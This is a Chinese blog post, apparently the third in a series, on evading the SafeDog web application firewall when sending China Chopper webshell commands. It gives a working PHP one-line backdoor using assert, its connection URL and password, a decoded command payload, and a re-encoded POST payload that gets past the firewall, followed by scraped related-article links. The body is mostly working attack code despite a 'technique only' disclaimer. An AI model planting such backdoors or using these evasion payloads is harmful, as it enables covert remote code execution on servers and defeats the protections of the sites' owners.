既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令。
当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实例,用通俗易懂的方式来演示数据提交层直接过狗原理。
本文意义:纵使网上有很多修改菜刀过狗的方法,但是我都看了下,局限性比较大,而且不太系统,新人学了可能会只是其一不知其二
环境:
域名与服务器均为个人真实所有。
服务器开启网站安全狗+服务器安全狗,引擎全部开启,最高防护级别。
对比环境:
服务器:apache+php5.3;本地:nginx+php5.3无狗环境作为对比
本地与有狗服务器具有相同的后门代码与链接方式
说明:本文仅分析过狗原理与代码实现,技术层面探讨,菜刀或者其他软件制作与修改本文不予讨论。
后门文件:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
菜刀连接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密码:sofia
该文件特征层面可过狗 ,上一篇文章已提到,
我们知道,菜刀已存在这么多年,安全狗早已对菜刀的特征门清,我们先来看下菜刀连接的时候特征是什么。
这是我随便连接的一个后门,其实不管后门代码是什么,打开文件管理,菜刀提交的数据都是一样的,如图
代码为:
sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
命令执行代码,base64_decode结果为以下,获取当前目录与磁盘名
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();
其中参数名“sofia”就是我们所谓的菜刀密码不需要多解释吧?
那么我们在本地手工提交菜刀的post数据看一下:
本地正常返回当前目录与磁盘名,而服务端未显示,一定是被拦截咯,事实证明确实如此:
那为什么没蹦出拦截框呢?
根据我的经验,一般文件特征层能检测到是后门,才会弹窗,数据层一般不弹,当然,这只是我个人见解,可能不严谨。
其实狗狗对后门的检测文件特征是与数据提交检测机制是完全独立的。
为了验证这一点,我在同目录下建立一个null.php,内容为正常代码:
当不post数据时,正常输出内容,说明文件本身没有问题
把狗狗的post数据发一下试试?
又没有回显了,再去狗狗日志看下:
菜刀特征分析
那么很明显了,菜刀的post数据已经是个大特征了。
相信大家都能看出来这个eval太惹眼了(当然,其他版本或者其他waf检测的可能会是$_POST,或base64_decode)
sofia=@eval(base64_decode($_POST[z0]));
虽然看上去数据提交不怎么注重隐蔽,但是不得不承认菜刀是个伟大发明。
因为php后门五花八门,接受数据的类型与格式各不相同,于是菜刀就在post数据中再次构造一个执行代码,使得php后门接收到的数据全部统一为:“eval('执行命令')”,这样才使得菜刀的易用性才那么强。
具体代码执行与返回请参考上一章节
修改post数据
既然原因清楚了,我们接下来就修改post数据,修改的重点就在于替换eval特征。
思路一:分离“eval”四个字母即可
但是post数据中发挥空间太小,暂时没想到什么好办法。
思路二:修改后门文件,直接执行语句
这里可能就需要用一些其他回调函数,或者其他猥琐姿势,能够直接执行来自post的base64加密后的纯执行语句。
思路三:直接手工构造eval语句
前面说过,post数据最终的结果为:eval('执行命令')”,而且我们的语句对a参数已经decode的了
$a=array(base64_decode($_REQUEST['a']));
那么就直接把整个eval语句base64加密一下即可,
那么我们菜刀原始的利用语句可以这么构造:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
然后把这句话base64加密下,得到:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
ok,那么这时候我们是直接把这句话传给$a的,那么post数据为:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
试试?
成功返回结果,换个语句试试?
至此,这是数据流层面的过狗方式,当然过狗思路千千万,不限于这一种,更多的是需要大家去发掘。
另外,
这里要跟大家提一点,assert函数与eval函数是完全不同的函数,不要以为能出phpinfo()结果就是过狗了,assert能执行phpinfo()一类的函数,但是其他php语句还是是需要借用eval的,当然,执行命令也不限于eval,还有各种回调函数。
写在最后
怎么?你是不是还想问菜刀怎么连?
本文开头说了,这里仅讨论技术本身,至于如何去用,那么,会php的人,看了这篇文字,应该已经有思路了,
而不会php的人,可能就想着:“博客赶紧给我来个一句话加软件,最好打开就能用”,然后偷偷窃喜指望它能平天下。
我还是那句话,安全之路,我们大多数人还只是个学者,希望多关注技术本身,不要膨胀才好。
php一句话后门过狗姿势万千之传输层加工【三】的更多相关文章
-
php一句话后门过狗姿势万千之传输层加工(1)
写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...
-
PHP一句话后门过狗姿势万千之传输层加工
既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...
-
php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
-
PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
-
PHP一句话后门过狗姿势万千之理论篇
写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...
-
那些强悍的PHP一句话后门
强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404 ...
-
一些变态的PHP一句话后门收集
这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...
-
强大的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1 ...
-
9. 那些强悍的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用4 ...
随机推荐
-
下载判断Android和iOS
//下载 function down(){ var url = ''; var u = navigator.userAgent, app = navigator.appVersion; var isA ...
-
linux之SQL语句简明教程---CREATE VIEW
视观表 (View) 可以被当作是虚拟表格.它跟表格的不同是,表格中有实际储存资料,而视观表是建立在表格之上的一个架构,它本身并不实际储存资料. 建立一个视观表的语法如下: CREATE VIEW & ...
-
Android第一次打开应用程序,实现向导界面
转载请注明出处,谢谢http://blog.csdn.net/harryweasley/article/details/42079167 先说下思路:1.利用Preference存储数据,来记录是否是 ...
-
Cg(C for Graphic)标准函数库之数学函数与几何函数
和 C 的标准函数库类似, Cg 提供了一系列内建的标准函数.这些函数用于执行数学上的通用计算或通用算法(纹理映射等),例如,需要求取入射光线的反射光线方向向量可以使用标准函数库中的 reflect ...
-
SVN操作步骤
1.第一次检出 svn co svn://192.168.1.1:5555/MMM 2.代码更新 svn update 3.代码提交 svn add *.c svn commit -m "d ...
-
使用 libjpeg 库解压数据示例
static int MjpegDecompress( *** ) { struct jpeg_decompress_struct tDInfo; struct jpeg_error_mgr jerr ...
-
Spark Streaming简介及原理
简介: SparkStreaming是一套框架. SparkStreaming是Spark核心API的一个扩展,可以实现高吞吐量的,具备容错机制的实时流数据处理. 支持多种数据源获取数据: Spark ...
-
Sleeping会话导致阻塞原理(上)
背景 我在处理客户问题的时候,客户经常搞不懂sleeping 的由来,和他可能导致的问题.下面来详细说下 什么是sleeping 其实我们经常可以在数据库中看到“”sleeping“状态的连接,但是这 ...
-
【洛谷】【搜索(dfs)】P1363 幻想迷宫
[题目描述:] 幻象迷宫可以认为是无限大的,不过它由若干个N*M的矩阵重复组成.矩阵中有的地方是道路,用'.'表示:有的地方是墙,用'#'表示.LHX和WD所在的位置用'S'表示.也就是对于迷宫中的一 ...
-
[转]好用工具:Oracle SQL Developer
我們一直以來就很少使用 Oracle 資料庫,一年下來也頂多 1 ~ 2 個案子採用 Oracle 的資料庫,所以一直都對 Oracle 資料庫的操作不太熟悉,尤其是用 Oracle 內建的那些超難用 ...